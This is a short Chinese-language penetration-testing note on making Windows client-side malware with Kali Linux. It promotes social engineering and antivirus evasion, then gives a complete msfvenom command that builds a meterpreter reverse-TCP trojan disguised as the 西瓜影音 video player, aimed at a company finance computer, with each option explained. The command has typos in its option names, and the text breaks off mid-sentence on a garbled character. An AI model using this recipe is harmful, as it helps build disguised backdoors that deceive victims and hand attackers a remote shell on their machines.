kali制作windows客户端恶意软件进行渗透笔记

1.客户端渗透原理

无法突破对方网络边界的时候，向目标发一个含有后门的程序，或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学，来诱骗受害者执行恶意程序。
我们要利用免杀来躲避安全软件的查杀。
制作windows恶意软件获取shell
Msfvenom是msfpayload，msfencode的结合体，可利用msfvenom生成木马程序，并在主机上执行，在本地监听上线。

2.实战-制作windows恶意软件获取公司财务电脑使用msfvenom生成快播和西瓜影音看片神器后门木马
Kali运行handler，payload 在目标IP xxx端口监听后门请求

生成西瓜影音.exe windows 下的恶意软件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LOHSTS=192.168.xxx.xxx LPROT=4444 -b “\x00” -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe 

-a 指定构架如x86 x64。 x86代表32位， x64代表64位。 32位软件可以在64 位系统上运行。所以我们生成32位的后门。这样在32位和64位系统中都可以使用。
--platform 指定平台，这里选择windows 通过 --l platform可以查看所有支持平台。
-p 设置攻击载荷，我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所有攻击载荷
-e 指定编码器，也就是所谓的免杀， x64/shikata_ga_nai是msf自带的编码器 -l encode 查看有多少编码器
-i 制作的软件字节ÿ